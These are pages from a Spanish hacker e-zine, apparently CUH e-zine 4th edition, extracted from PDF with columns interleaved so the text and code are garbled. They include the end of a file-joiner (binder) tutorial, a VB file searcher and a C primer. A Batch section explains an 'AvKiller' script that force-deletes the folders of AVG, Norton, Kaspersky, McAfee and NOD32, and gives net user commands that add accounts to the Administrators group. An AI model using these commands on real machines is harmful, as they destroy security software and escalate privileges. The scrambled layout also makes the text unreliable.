encuentra en el mismo directorio que el joiner pero con La opción de cambiarle el icono al fichero final suele ser
extensión “.dll”, todo depende del programador. Yo lo muy útil también.
haré como si el Stub se ubicara en el mismo directorio Les dejo un cordial saludo y espero que les halla
que el joiner, con el nombre “Stub” y la extensión gustado.
“.exe”… Así que lo buscamos y lo copiamos a otro
directorio.

Filecopy App.Path & “\” & App.EXEName & “.exe”,


Text1.Text

Bueno, como ven he puesto como destino “Text1.Text”


esto es porque yo puse un TextBox donde el usuario
indica donde quiere que se cree el archivo final. Ahora
debemos abrir el Stub y añadirle lo que tenemos en la
variable “Todo”…

Open Text1.Text For Binary Access Write As #2


Seek #1, EOF(1)
Put #1, , Todo
Close #1

Bien, lo que hacemos aquí es abrir el Stub (su copia) de


modo binaria para escritura. Usamos Seek para
situarnos al final del archivo (“EOF(1)”) con eof
indicamos que queremos el final del archivo, y el 1
representa al archivo…
Luego usamos “Put” para poner lo que había en la
variable “Todo” y por ultimo cerramos con “Close”…

Así el resultado final de esto es un fichero que seria


algo así:

STUB
|M2|
NOMBRE ---> FICHERO 1
|M1|
CONTENIDO --->FICHERO 1
|M2|
NOMBRE --->FICHERO 2
|M1|
CONTENIDO -->FICHERO 2

Luego cuando este fichero es ejecutado, lo primero que


se ejecuta es el Stub, que divide el archivo en tantas
partes como archivos de hallan unido:

STUB
Crear un buscador de archivos en VB CUH e-zine 4ª edicion

Vamos a empezar programando desde el principio, y


comenzaremos por un dialogo en el cual el usuario
elegirá el directorio donde comenzar a buscar. Para ello
usaremos las API’s: SHBrowseForFolder y
Este es un artículo creado exclusivamente para el CUH SHGetPathFromIDList.
E-Zine y se encuentra bajo licencia Creative Commons Las declararemos en la parte superior del formulario de
(http://creativecommons.org/licenses/by/3.0). la siguiente manera:

Private Type BrowseInfo


hWndOwner As Long
pidlRoot As Long
sDisplayName As String
sTitle As String
En el presente artículo me dedicaré a explicarles como ulFlags As Long
crear un buscador de archivos. La idea es que la lpfn As Long
aplicación busque un fichero que contenga en su lParam As Long
nombre la cadena que el usuario este buscando. La iImage As Long
búsqueda del fichero partirá de un directorio elegido End Type
por el usuario. Private Declare Function SHBrowseForFolder Lib
El proyecto necesitara de algunos controles para que el "Shell32.dll" (bBrowse As BrowseInfo) As Long
usuario pueda interactuar con él. Por mi parte yo he Private Declare Function SHGetPathFromIDList Lib
agregado los siguientes controles (todos con sus "Shell32.dll" (ByVal lItem As Long, ByVal sDir As
nombres por defecto): String) As Long

• 3 CommandButton’s La primer API devolverá un identificador que


• 2 TextBox’s corresponderá al directorio que eligió el usuario, debido
• 2 Frame’s a que con el identificador no podríamos hacer nada,
• 1 ListBox utilizamos la segunda API para obtener el directorio.
Para poder hacer uso de estas API’s vamos a tener que
La aplicación en mi caso carece de diseño, y no le crear una función, lo que hará esta función será
aplicare ninguno, el aspecto correrá por cuenta de devolver la ruta completa del directorio que eligió el
ustedes. En mi caso, los archivos encontrados solo se usuario. A esta habrá que pasarle como parámetro el
listaran en un ListBox simple. El aspecto de mi proyecto formulario (su nombre) para luego obtener su handle,
es el siguiente: también le debemos pasar el titulo de la ventana:

Function ElegirDirectorio(FrmActivo As Form,


TituloDeVentana As String) As String
Dim BroInf As BrowseInfo
Dim IDCarp As Long
Dim Directorio As String

BroInf.hWndOwner = FrmActivo.hWnd
BroInf.pidlRoot = 0
BroInf.sDisplayName = Space(260)
BroInf.sTitle = TituloDeVentana
BroInf.ulFlags = 1
BroInf.lpfn = 0
BroInf.lParam = 0
BroInf.iImage = 0

IDCarp = SHBrowseForFolder(BroInf)

Bueno, acomoden los controles como más les guste. If IDCarp Then
Directorio = Space(300)
Por mi parte le he dado a la propiedad Enabled del If SHGetPathFromIDList(IDCarp, Directorio) Then
botón Abrir un valor False. Y al Text2, ubicado en el Directorio = Left(Directorio, InStr(Directorio,
frame con caption “Comenzar en:” tiene en su Chr(0)) - 1)
propiedad “Locked” el valor True. Else
Crear un buscador de archivos en VB CUH e-zine 4ª edicion
Directorio = "" For Each Archivo In SubDir.Files
End If 'Un descanso para el sistema
End If DoEvents
ElegirDirectorio = Directorio 'Obtenemos el nombre del archivo
End Function NombreDelArchivo = Fso.GetFileName(Archivo)
'Si coincide con la busqueda
Ahora lo que haremos será almacenar el directorio en If InStr(NombreDelArchivo, Text1.Text) <> 0
una variable global. Así que hacemos la declaración de Then
dicha variable. Nos situamos debajo de la declaración 'Lo agregamos a la lista
de las API’s y escribimos esto: List1.AddItem NombreDelArchivo
‘Habilitamos boton Abrir…
Dim RutaParaComenzar As String Command3.Enabled = True
End If
Ahora nos vamos al evento clic del botón 2, en mi caso 'Seguimos recorriendo archivos
es el de elegir directorio para comenzar a buscar: Next
'Nos volvemos a llamar para seguir listando
Private Sub Command2_Click() 'los subdirectorios
RutaParaComenzar = ElegirDirectorio(Form1, "Buscar Call Buscar(SubDir)
Carpeta") Next
Text2.Text = RutaParaComenzar End Sub
End Sub
NOTA: Es importante que pongan el DoEvents, sino
Y ahí esta. Ahora podemos pasar a lo que importa, tildaran la aplicación, deben darle un descanso y
buscar el archivo. Vamos a necesitar usar el objeto pasarle el trabajo a Windows por cada subdirectorio
FileSystemObject, para ello vamos a agregarlo en la que se recorra, así funcionara perfecto.
referencia: Ahora vamos a programar el botón “Buscar”, en mi
ProyectoReferencias…Microsoft Scripting Runtime caso es el Commnad1… Lo único que haremos aquí será
Para poder recorrer los directorios debemos usar una verificar que halla algo que buscar (que el Text1 no
función que se llame a si misma, a esta función se le este vacío). Luego limpiamos la Lista, y por ultimo
pasa como parámetro el directorio donde empezar a llamamos a la función “Buscar” pasándole como
recorrer los subdirectorios de él mismo. Dentro de cada parámetro la variable “RutaParaComenzar”:
bucle para recorrer los subdirectorios se vuelve a
llamar a la función pasándole como parámetro el Private Sub Command1_Click()
subdirectorio. Seria algo así: ‘si el text1 esta vacio
If Text1.Text = "" Then
Private Funcion Buscar(Carpeta As String) ‘Mostramos un mensaje
For each SubCarpetas In Carpeta MsgBox "Indique algo que buscar"
Call Buscar(SubCarpeta) Exit Sub
Next End If
End Fucntion ‘Limpiamos la lista
List1.Clear
Esto es un ejemplo, pero no sirve, primero debemos ‘Llamamos a funcion que busca
declarar bien las variables, con su tipo correspondiente Call Buscar(RutaParaComenzar)
(Folder y File). Después creamos un bucle que recorra End Sub
los subdirectorios de un directorio. Dentro de este bucle
se utilizara otro bucle para recorrer todos los archivos Con esto ya habremos terminado, les recomiendo que
dentro de este subdirectorio en el cual nos no se queden con esta interface, utilicen un ListVew en
encontramos. Utilizaremos (dentro de este último vez de un ListBox, es mas “lindo” de usar, y podemos
bucle) una condición “If” para saber si el archivo actual ordenar mejor los archivos encontrados, mostrando
corresponde o es similar al que busca el usuario. tanto el nombre del fichero como su directorio.
Pondré la función ya terminada, estará comentada cada Inclusive le podemos aplicar un icono ;-)
línea con su respectiva explicación: Les dejo un cordial saludo a todos los lectores de la
CUH E-Zine y espero hayan disfrutado de este articulo.
Private Sub Buscar(ByVal Carpeta As String)
Dim DirActual As Folder 'Declaramos como Carpeta
Dim SubDir As Folder 'Declaramos como Carpeta
Dim Archivo As File 'Delcaramos como Archivo
Set Fso = New FileSystemObject 'Activamos el objeto
FSO
Set DirActual = Fso.GetFolder(Carpeta) 'Le Aplicamos
un directorio
'Bucle que recorre los subDirectorios de un directorio
For Each SubDir In DirActual.SubFolders
'Bucle que recorre los archivos de un directorio
Introduccion a C 3ªParte CUH e-zine 4ª edición

255, porque se estaría sobre escribiendo bits de otro


lugar que no le corresponde a la variable char, por
ejemplo si quisiéramos poner el valor 256 dentro de un
byte no podríamos, porque queda un 1 fuera de lugar
(11111111 = 255, 100000000 = 256, fíjense que en el
256 estamos usando 9 bits, y no un byte, donde se
Hola de nuevo, esta es la tercera parte del tutorial de C
pondrá ese 1?).Pero OJO, si hacen '1' + '2' no les va a
de Ni0, como pueden ver con lo que sabemos hasta
dar '3'... 1 + 2 = 3 pero '1' + '2' NO es 3, porque
ahora mucho no podemos hacer, simplemente cuentas
estamos sumando el valor según el estándar ascii, si '1'
matemáticas y mostrarlas en pantalla, así que ahora
es 50 (ni idea si es 50, invento, es solo un ejemplo) y
vamos a aprender como obtener un valor del teclado y
'2' es 51, entonces '1' + '2' da 101, que puede ser 'f'
como funcionan los controladores de flujo.
como 'a' o 'Z' o cualquier carácter....
Antes que nada quería aclarar algo con respecto a las
Todo eso se puede comprobar tranquilamente si crean
variables..., cual es la diferencia entre el tipo char y el
un programa que trabaje con caracteres y números y
tipo long? o cual es la diferencia entre el tipo short y el
variables de todo tipo y lo compilan, luego lo
char? o el long y el int?? la única diferencia es el
descompilan y ven el código en assembler, o bien usan
espacio reservado a dicha variable. En el articulo
un debugger para que sea mas facil de leer, de todas
anterior escribí una tabla con los tipo de variables y
maneras va a estar en assembler.
cuantos bytes son reservados para esa variable, esa
No hablé sobre los tipos float y double, no estoy seguro
cantidad le da un rango posible, por ejemplo dentro de
de su forma de trabajar, asique no los voy a meter en
un byte solo pueden entrar desde el numero 0 hasta el
la explicación anterior.
255 (o bien de -128 a 127), esa es la única diferencia.
Entonces, dentro de char puedo poner un numero en
bueh, espero que eso haya sido claro.
vez de un carácter?? y en un long puedo poner un
carácter en vez de un numero?? SI y lo repito, SI
Avancemos un poco con el lenguaje C; para obtener un
Esto según he visto, en lenguajes mas “altos” que el C
dato del teclado (por ahora del teclado, mas adelante
(Visual Basic, pascal, etc..) no es posible de manera
vamos a ver archivos) existen varias funciones
directa, pero es posible en el lenguaje maquina, en C, y
declaradas en stdio.h:
supongo que en otros lenguajes.
getchar (que ya la usamos para que espere que se
como es posible que en una variable char (abreviatura
pulse una tecla)
de carácter en ingles) se pueda poner un numero??
scanf
porque a cada carácter se le asignó un numero
gets (que no la vamos a ver ahora porque antes tengo
(recuerden, la pc solo interpreta 0 y 1), y estos
que explicar otras cosas xD)
números van del 0 al 255 (antiguamente hasta el 127),
explicamos cada una:
esto esta definido en el estándar ascii. Al poner un
int getchar(void); eso significa que no recibe ningún
carácter haciendo 'x', el compilador cambia ese
argumento y que retorna un int (también pueden usar
carácter por el valor correspondiente, por lo que hacer
char), esta función espera a que se pulse enter para
algo como c = 'N'; es lo mismo que c = 78; .
retornar, o sea, cuando es llamada uno puede teclear
No piensen de que como es un CHAR solamente pueden
cualquier cosa y solo va a terminar la función cuando
ir caracteres, bah, en realidad es correcto, porque
se pulse enter ('\r', ese es el carácter correspondiente a
cualquier numero que pongamos entre 0 y 255 va a
ENTER), si se pulsaron las teclas abcd\r, va a devolver
tener su representación como carácter, pero uno puede
a, pero cuidado, porque las teclas siguen almacenadas,
tranquilamente usar una variable char para trabajar
la función obtiene a, la saca de la memoria y devuelve
números, si por ejemplo queremos almacenar la edad
a, la próxima ves que se llame, van a estar las teclas
de una persona, con declarar un char alcanza y sobra,
bcd\r, por lo que no va a esperar a que el usuario
nadie tubo mas de 255 años xD . Y obviamente dentro
ingrese algo porque hay teclas en la memoria, no se si
de un long o un short o un int puede ir un carácter,
se entiende bien... cuando uno pulsa teclas se
hacen short s = 'N'; y esta permitido, pero con esto
almacenan en un buffer, getchar va obteniendo hasta
hay que tener cuidado, porque en realidad las funciones
que se acabe, si simplemente ingresamos a\r obtiene a
estan preparadas para leer un carácter dentro de un
y como esta el enter vacía el buffer, pero si ponemos
byte, en un short hay 2 bytes, y en uno de esos 2 bytes
abc\r obtiene a, saca a del buffer pero sigue quedando
esta el 'N'...
bc\r, como ya esta \r en el buffer, no le pide nada al
y obviamente se pueden sumar caracteres, char a =
usuario, porque piensa que ya se presiono entrer,
'n'; char b = 'a'; a = a + b; ahora a tiene el valor 207,
obtiene b y saca a b del buffer. Para solucionar esto,
pero con esto cuidado, no podemos pasarnos del 255,
esta la función fflush que “vacia” el buffer, solo hay que
pero bueh, con eso queda demostrado que también se
indicarle que buffer vaciar, stdin (entrada) o stdout
puede operar con tipos char, solo que tenemos que
(salida), quedando asi: fflush(stdin); (vacía la entrada)
asegurarnos de que la operación no va a dar mas de
Introduccion a C 3ªParte CUH e-zine 4ª edición
int scanf (const char*, ...); esta función es especial, es en el buffer, asique con fflush(stdin); vaciamos el
como printf, puede obtener muuuuchos argumentos, y buffer.
devuelve un int, que creo recordar que era la cantidad
de caracteres leídos, y los argumentos son una cadena El gets obtiene una cadena (seria CASI igual a
y luego argumentos “infinitos” (digo entre comillas scanf(“%s”)), pero todavía no hable sobre las cadenas,
porque la ram no se regala, igual que los permisos de los vectores, los arrays (como usarlos en una variable)
escritura del s.o. xD), para usarla es fácil, usa las asique no lo quiero explicar para que no haya dudas...
mimas características de printf, solo que invertido,
miren: Las cosas como “int” getchar(“void”) es la forma que se
declaran las variables (mas adelante vamos a ver cono
printf(“%d %f”, 39, 3.141596); crear nuestras funciones), el primero (o sea en este
caso el int) indica que tipo de dato va a retornar, lo que
obtiene una cadena (“%d %f”) y los argumentos, que va entre paréntesis indica que tipo de argumentos
luego serán impresos según los “comodines” (%d, %f, espera, en caso de que sea void significa que no espera
%s, %c, etc..), ahora con scanf: nada, y se separan los argumentos con comas, que
seria el ejemplo de int scanf(const char*, ...), el primer
scanf(“%d %f”, &i, &f); argumento es un const char* (es una cadena que va a
ser tomada como constante, mas adelante vemos que
lo que va a hacer es esperar a que ingresemos son las cadenas y como usarlas etc.) una coma para
caracteres hasta que se pulse enter, cuando se pulsa indicar que viene otro argumento y tres puntos, esos
enter va a seguir las indicaciones de la cadena “%d “...” significa que pueden ir muuuchos argumentos,
%f”, lo que significa que hasta el primer espacio va a hasta que la memoria se acabe o bien que se intente
obtener un numero entero, luego un flotante (o sea, un usar una posición de la memoria que el s.o no nos deja,
numero real) y luego nada mas, y va a poner esos porque ocurre esto?? Porque los argumentos son
valores en las variables i y en la variable f, que deben puestos en la memoria “uno al lado del otro” (esto se
de haber sido declaradas previamente como int y como tendría que ver mas que nada en assembler...) si hay
float (o double) ejemplo muuuchos argumentos se va a gastar mucha
memoria... pero para eso se necesita MUUUUUUCHOS
argumentos
main(){ Muy bien, vamos a hacer algún programita, podemos
int i; hacer uno que se ingrese un valor de temperatura en
float f; Celsius o Fahrenheit y se pase a la otra medida, por
scanf(“%d %f”, &i, &f); ejemplo yo voy a hacer de Celsius a Fahrenheit
} la formula de Celsius a Fahrenheit es: F = C*(9/5)+32

Los & no se como llamarlos, pero significan “la posición Asi que vamos a programar:
de memoria de...”, o sea, si nosotros hiciésemos:
scanf(“%d %f”, i, f); al segundo y tercer argumento le #include <stdio.h>
estaría llegando el valor que contiene i y el valor que
contiene f, pero no cual es la posición de memoria de i
y de f, para que usa la posición de memoria?? para
saber donde guardar lo que obtenga el teclado. main()
cuando hacemos algo como c = getchar(); no usamos
el & porque el compilador ya sabe que lo que devuelve {
getchar tiene que ir a parar a c, dado que antes del =
tiene que ir una variable donde va a poner el valor, float c, f;
pero en el caso de un argumento puede o no ser el
valor que contenga la variable, o bien, una posición de printf("\tConversión Celsius a Fahrenheit\n");
memoria. En lenguajes mas “altos” esto no se hace, se
hacen cosas como scanf(“%d”, i); pero en el c hay que printf("ingrese la temperatura en celsius: ");
aclarar que lo que vamos a darle de argumento es el
valor que contiene la variable o bien la posición de scanf("%f", &c);/*pone el valor que se ingreso
memoria asignada a la variable por el teclado en c*/
En el caso de %s tenemos que estudiar un poco mas,
asique no lo vamos a usar por ahora... f = c * (9.0 / 5.0) + 32;
en este caso también hay que “tener cuidado” y usar a
veces el fflush, porque cosas como: printf("\n%.3fºC = %.3fºF\n", c, f);/*imprime
el resultado, el .3 indica que solo imprima 3
scanf(“%c”, &c); decimales*/
scanf(“%c”, &c);
getchar();/*espera que se pulse enter*/
obtienen un carácter pero ustedes con el teclado
ingresaron por ejemplo a\r (osea a y enter), pero como }
solo pedimos un carácter, el \r “queda colgado”, queda
Introduccion a C 3ªParte CUH e-zine 4ª edición
después de main(){ o afuera de todo, esto es así en C,
Creo que esta sencillo el programa, aclaro algo, tengo pero en C++ SI es posible, pero acá yo explico C xD
que hacer 9.0/5.0 y NO 9/5 porque 9/5 daría 1, porque
hace una división entre enteros, al ponerle .0 le indico Ejemplo:
que son números reales y quiero el resultado en real
(cosas de los registros internos del cpu). main()
{
Así como tenemos getchar y gets, también están las int a = 10;
funciones putchar y puts, es lo mismo pero inverso, en int b = 10;
puts ponemos una cadena (por ahora solo van a poder if(a == b)
poner cadenas “de este estilo” y no almacenadas en printf(“es igual”);
una variable) y putchar que pone un carácter: }

#include <stdio.h> cuando solamente se va a poner una instrucción (osea,


main() un ;, ya se auna funcion o una operación matematica,
{ no hace falta poner {}
putchar('H'); una forma “mejorada”:
puts(“ola\n”); main()
getchar(); {
} int a = 10;
int b = 10;
Imprime Hola en pantalla if(a == b){
printf(“es igual”);
Bien, ahora vamos a hacer 2 programas, siguiendo con return 0;
la conversión celsius- Fahrenheit, el primero va a }
preguntar si queremos hacer celsius- Fahrenheit o printf(“diferente”);
Fahrenheit- celsius, y el segundo nos muestra una tabla }
de equivalencia. Para esto necesitamos saber sobre
“estructuras de flujo” (creo que se llamaban así, El return termina una función (no me acuerdo si ya lo
discúlpenme que no sepa a veces exactamente el explique) o sea, cuando llega al return termina la
nombre de algo del lenguaje), estas son estructuras función main (o cuando creemos nuestras propias
que cambian el flujo del programa, las que vamos a ver funciones la función en la que este el return) siempre
ahora son if, if-else y while. main tiene que retornar un valor, por eso el 0, se
El if se usa algo así: if(decisión){que hacemos si es puede usar return; que no retornaría ningun valor, pero
verdadero}, dentro de los () podemos poner un valor main siempre devuelve algo.
solo (por ejemplo if(variable) o if(1) o if(0)) si es 1 es si no usáramos el return, veríamos algo como
tomado como verdadero, y se ejecuta lo que esta entre es igual diferente
{}, o sino podemos poner una comparación (es igual a, los if son de un solo ciclo, o sea, comprueba si es
mayor que, menor que, etc.), estas son: verdadero o falso, si es verdadero ejecuta los {} y
== igual que (fíjense que son 2 iguales) sigue con el programa, si es falso se saltea los {} y
!= distinto que sigue con el programa
< menor que el if-else es igual que el if, se usan asi:
> mayor que
<= menor o igual que if(a == b){
>= mayor igual que printf(“igual”);
}
Por ejemplo: else{
printf(“diferente”);
if(1 != 2){} /*si 1 es distinto que 2, obviamente va a }
dar verdadero y se ejecuta lo que esta entre {}*/
si el if es falso, ejecuta el else y sigue con el programa,
c = 3; con este caso nos ahorramos el return
a = 15; y si solo usamos una instrucción no hace falta los {}:
if(c > a){} /*si c es mayor que a, en este caso va a dar
falso y NO se ejecuta lo que esta entre {}*/ if(a == b)
printf(“igual”);
También se pueden hacer cosas como else
printf(“diferente”);
if(c * 5 < a){}/*en este caso tambien daria falso y obiamente se pueden hacer ifs dentro de ifs, o sea:
porque es igual a a*/ if(a == b){
if(a < 10)
Dentro de los {} se escribe un código igual que si printf(“igual y menor que diez”);
estuviese dentro de un main, pero NO se pueden }
declarar variables, las variables solo se declaran justo else
Introduccion a C 3ªParte CUH e-zine 4ª edición
printf(“diferente”); printf("\tConversion Celsius a Fahrenheit -
Fahrenheit a Celsius\n");
pero, en este caso se pueden usar && o ||, estas
“cosas” son traducibles a “y” o “o”, por ejemplo: printf("Ingrese el valor a convertir: ");

if(a == b && a < 10) scanf("%f", &c);/*para no usar 2 veces el


printf(“igual y menor que diez”); scanf, si lo pongo dentro del if y del else if gastaría mas
lineas y mas código binario que si lo uso solo una vez
o sea, tiene que ser las 2 expresiones verdaderas, si :P*/
usáramos los || (es el carácter “tubería” dos veces) con
que solo una expresión sea verdadera se ejecuta los {} printf("ingrese c para Celsius a Fahrenheit o f
para Fahrenheit a Celsius (c/f):");
y a su vez tenemos los if-else if-else
fflush(stdin);/*vaciamos el buffer*/
if(a == 10)
printf(igual); opcion = getchar();
else if(a < 10)
printf(“menor”); if(opcion == 'c'){
else
printf(“mayor”); f = c * (9.0 / 5.0) + 32;

creo que queda claro como funciona, a su vez se printf("\n%.3fºC = %.3fºF\n", c, f);
pueden hacer muchos else if:
}
if(a == 10)
printf(igual); else if(opcion == 'f'){
else if(a < 10)
printf(“menor”); f = (c - 32) / (9.0 / 5.0);
else if(a > 10)
printf(“mayor”); printf("\n%.3fºF = %.3fºC\n", c, f);
else
printf(“error xD”); }

Y en el caso de que sean mas de una instrucción else


ponemos {} y listo
printf("ERROR");
El while es igual que el if, solo que no existen los else ni
los else while, y que si es verdadero, ejecuta lo de los fflush(stdin);/*vaciamos el buffer, porque
corchetes y vuelve a hacer la comprobación, asi hasta nosotros ingresamos c\r o f\r por lo que quedaría el \r
que la comprobación sea falsa en el buffer*/

int c = 10; getchar();


while(c > 0){
printf(“%d\n”, c); }
c -= 5;;
} Este código se puede mejorar haciéndolo:

Imprime: #include <stdio.h>


10
5 main()

Así que vamos con los programas que dije que íbamos {
a hacer:
char opcion = 0;
#include <stdio.h>
float f, c;
main()
printf("\tConversion Celsius a Fahrenheit -
{ Fahrenheit a Celsius\n");

char opcion; printf("Ingrese el valor a convertir: ");

float f, c; scanf("%f", &c);/*para no usar 2 veces el


scanf, si lo pongo dentro del if y del else if gastaría mas
Introduccion a C 3ªParte CUH e-zine 4ª edición
lineas y mas codigo binario que si lo uso solo una vez }
:P*/
Intenten hacer este ultimo programa pero que el
printf("ingrese c para Celsius a Fahrenheit o f usuario indique el valor mínimo, el máximo y la escala
para Fahrenheit a Celsius (c/f):"); (en este caso el mínimo es -50, el máximo es 150 y la
escala es 1)
fflush(stdin); Simplemente declaran mas variables y con scanf le
while(opcion != 'c' && opcion != 'f') asignan a las variable los valores, y en vez de usar
{/*mientras que no sea ni números en el while, usan las variables...
'c' ni 'f' va a pedir una opción (es sensible a mayúsculas
y minúsculas)*/ Y ahora, vean este programa
opcion = getchar();
#include <stdio.h>

} main()
if(opcion == 'c'){
{
f = c * (9.0 / 5.0) + 32;
int c = 0;/*uso int porque si usara char la
printf("\n%.3fºC = %.3fºF\n", c, f); comparacion c != 256 estaria incorrecta, porque 256
esta fuera del byte*/
}
while(c != 256){
else if(opcion == 'f'){
printf("%c - %d\n", c, c);
f = (c - 32) / (9.0 / 5.0);
c += 1;
printf("\n%.3fºF = %.3fºC\n", c, f);
}
}
/*el else no es necesario, no es obligatorio*/ getchar();
fflush(stdin);/*vaciamos el buffer, porque
nosotros ingresamos c\r o f\r por lo que quedaría el \r }
en el buffer*/
Esto es para que vean los valores de cada caracter,
getchar(); porque dentro de un char hay un valor, que representa
al caracter... si vieran el código ya compilado quizá se
} entendería mas
y ahora uno que muestra una tabla de valores en
Celsius y otro en farenheit: Una aclaración, eh visto que el fflush(stdin); en la
#include <stdio.h> distribución de linux “ubuntu” no funciona, o sea, no
vacía el buffer, pero en windows si...
main()
bueno, eso es todo por ahora... nos vemos en la
{ próxima edición xD

float f, c = -50; Ni0

printf("\tConversion Celsius a Fahrenheit\n"); P.D. usen Linux xD

printf("\nCelsius \tFahrenheit\n");

while(c < 151){

f = c * (9.0/5.0) + 32;

printf("%3.4fºC\t%3.4fºF\n", c, f);

c += 1;

getchar();
Introducción al Batch 3a Parte CUH e-zine 4ª edición

echo (0) SALIR


echo.
set/p opc=
if %opc%==1 goto suma
if %opc%==2 goto resta
if %opc%==3 goto multi
Viene de la 2ª Edicion
if %opc%==4 goto divi
if %opc%==0 goto exit
AvKiller… Explicacion.
else (goto menu)
cd “%programfiles%”
:suma
Con la variable %programfiles% vamos a la ruta
cls
C:\Archivos de Programa o a la ruta en donde estén lo
echo.
archivos de programas.
echo Ingrese el primer numero.
cd “Grisoft”
set/p suma1= Numero:
La carpeta en donde esta el AVG Free Antivirus (luego
cls
con el comando DEL borramos todo).
echo.
del /Q /F /S *.*>nul
echo Ingrese el segundo numero.
Para borrar todos los archivos sin pedir confirmación, ni
set/p suma2= Numero:
Mostar los archivos que se han borrado.
cls
cd ..
set/a suma=%suma1%+%suma2%
Para subir de directorio (ir a la carpeta Archivos de
echo.
Programa).
echo.
cd “Norton Antivirus”
echo %suma1%+%suma2%=%suma%
La carpeta en donde esta el Norton Antivirus (luego con
pause>nul
el comando DEL borramos todo).
goto menu
cd “Kapersky Lab”
La carpeta en donde esta el Kapersky Antivirus (luego
:resta
con el comando DEL borramos todo).
cls
cd “McAfee.com”
echo.
La carpeta en donde esta el MC Afee System Works
echo Ingrese el primer numero.
(luego con el comando DEL borramos todo).
set/p resta1= Numero:
cd “Nod32 Antivirus System”
cls
La carpeta en donde esta el NOD32 Antivirus (luego
echo.
con el comando DEL borramos todo).
echo Ingrese el segundo numero.
Programando utilidades
set/p resta2= Numero:
Aquí aprenderemos a crear calculadoras, organizadores
cls
y el uso de los comandos.
set/a resta=%resta1%-%resta2%
Una Calculadora en Batch
echo.
Ahora crearemos una calculadora en Batch (con menú)
echo.
básicamente usando como principal comando
echo %resta1%-%resta2%=%resta%
pause>nul
goto menu
el SET. Solo tendrá las opciones de sumar, restar,
:multi
multiplicar y dividir.
cls
Codigo:
echo.
@echo off
echo Ingrese el primer numero.
title= Calculadora Batch
set/p multi1= Numero:
color 0a
cls
echo.
:menu
echo Ingrese el segundo numero.
cls
set/p multi2= Numero:
echo CALCULADORA
cls
echo (1) SUMA
set/a multi=%multi1%*%multi2%
echo (2) RESTA
echo.
echo (3) MULTIPLICACION
echo.
echo (4) DIVISION
echo %multi1%x%multi2%=%multi%
echo.
pause>nul
Introducción al Batch 3a Parte CUH e-zine 4ª edición
goto menu else (goto menu)
Con esto le damos la orden al comando IF que si se
:divi ingresa una opción no valida vuelva al menú (el comando
cls else tiene que ir siempre después del if).
echo. echo Ingrese el primer numero.
echo Ingrese el primer numero. set/p resta1= Numero:
set/p divi1= Numero: Con el comando echo aparecerá el mensaje pidiendo el
cls numero y com el set/p crearemos la variable llamada
echo. resta1 que tendrá el numero a restar, y luego la
echo Ingrese el segundo numero. utilizaremos colocando %resta1% para que ponga el
set/p divi2= Numero: numero que estaba en la variable. Lo mismo con la
cls segunda parte que pedirá el segundo número a restar.
set/a divi=%divi1%/%divi2% cls
echo. Para que al aparecer la segunda pantalla no quede la
echo. anterior.
echo %divi1%/%divi2%=%divi% set/a resta=%resta1%-%resta2%
pause>nul Set/a en este caso lo usaremos para que calcule la
goto menu operación y almacene el resultado en la variable resta;
%resta1% y %resta2% los pondremos para que
:exit aparezca los números que quedaron en las variables
exit Resta1 y Resta1. Y el signo de “-” (menos) será para
indicar que calcule una resta (se puede sustituir por un “+”
Explicación: para que sume, un “*” para que multiplique o un “/” para
que divida).
title= Calculadora Batch * echo.
Esto sirve para cambiar el titulo de la ventana, luego del Muestra un espacio entre las líneas.
signo “=” podemos ponerle el nombre que queramos, si no echo %resta1%-%resta2%=%resta%
utilizaremos el comando title aparecería como titulo la Aquí mostraremos la operación planteada y usaremos
ruta en la que esta guardada el Batch. %resta1% para que muestre el primer número y
*NOTA: El comando Title puede ser usado de las %resta2% para que muestre el segundo, y con
siguientes maneras: %resta% aparecerá el resultado que fue calculado con el
Title= Ejemplo comando set/a y almacenado en la variable resta.
Title Ejemplo pause>nul
Title “Ejemplo” Paramos la ejecución de los comandos hasta que se
presione una tecla, sino pasaría tan rápido que no se vería
color 0a el resultado.
Se usa para cambiar los colores del Batch, los goto menu
predeterminados son letra blanca y fondo negro pero con Luego de que termine el comando pause con esto
este lo dejamos en letra verde y fondo negro, para ver volvemos al menú principal.
más colores escribir en la consola: Color/? Lo mismo que esta explicado acá se usa en los casos de
cls suma, multiplicación y división pero siempre respetando
Con esto cada vez que vuélvalos al menú se borrara toda los signos (+, -, *, /).
la pantalla y quedara solo el menú, si este comando Organizando Funciones…
quedarían las operaciones anteriores en pantalla. Vamos a crear un organizador para los accesorios de
echo CALCULADORA Windows, si todos no funcionan hay que tener en cuenta
El comando echo sin parámetros ( y con un texto) sirve que puedes no tener instalados todos.
para mostrar textos en la pantalla, y con esto aparecería
como texto CALCULADORA y luego el resto de las Código:
opciones. @echo off
set/p opc= Title= Organizador Batch 1.0
Con esto creamos una variable de entorno que la Color F3
utilizaremos para definir la opción que se a elegido, la
variable en este caso se llamara opc pero podemos :menu
ponerle el nombre que queramos y cambiar también la cls
variable definida en el comando if sino no funcionaria. echo ORGANIZADOR
if %opc%==1 goto suma echo.
if %opc%==2 goto resta Echo 1) Abrir bloc de Notas
Estos comandos sirven para darle las opciones al usuario Echo 2) Abrir Word Pad
por ejemplo si el usuario pone 1 y presiona enter irá al Echo 3) Abrir Calculadora
menú de la suma que esta definido con :suma. Y así con Echo 4) Abrir Libreta de Direcciones
los otros también, podemos cambiar el número 1 por el 7 Echo.
y así para sumar habría que presionar 7. Echo 0) Salir
El opc es nombre de la variable en donde se almaceno el Set/p resp=
número de la opción. If %resp%==1 goto bloc
Introducción al Batch 3a Parte CUH e-zine 4ª edición
If %resp%==2 goto word indica el password del usuario, si se quiere crearlo sin
If %resp%==3 goto calc contraseña no se pone nada entre las comillas; y el /add
If %resp%==4 goto dir indica que es para crear ese usuario.
If %resp%==0 goto exit Borrando Usuarios
else goto menu Aquí utilizaremos el comando NET USER para borrar
usuarios que hayamos creado con el comando NET USER o
:bloc con el menu de usuarios de Windows.
cls
start notepad Código:
goto menu Net User Usuario /delete
:word
cls Explicación:
start wordpad
goto menu Net User Usuario /delete
:calc En donde dice usuario indicamos el usuario que deseamos
cls borrar y el parámetro /delete sirve para que borre el
start calc usuario que hemos indicado.
goto menu NET GROUP y grupos de usuarios
:dir Ahora utilizaremos el comando NET GROUP para cambiar
cls el grupo en el que se encuentra el usuario y los privilegios.
start wab
goto menu Código:
:exit net localgroup "Administradores"
exit User /add
/expires:never
Explicación:
Explicación:
Start notepad
Para iniciar la aplicación del bloc de notas. net localgroup "Administradores"
Start wordpad Con esto indicamos el grupo en el que se añadirán los
Para iniciar la aplicación de word pad. usuarios, para añadirlo en otro grupo hay que cambiar
Start calc "Administradores" por el grupo que queramos, para ver
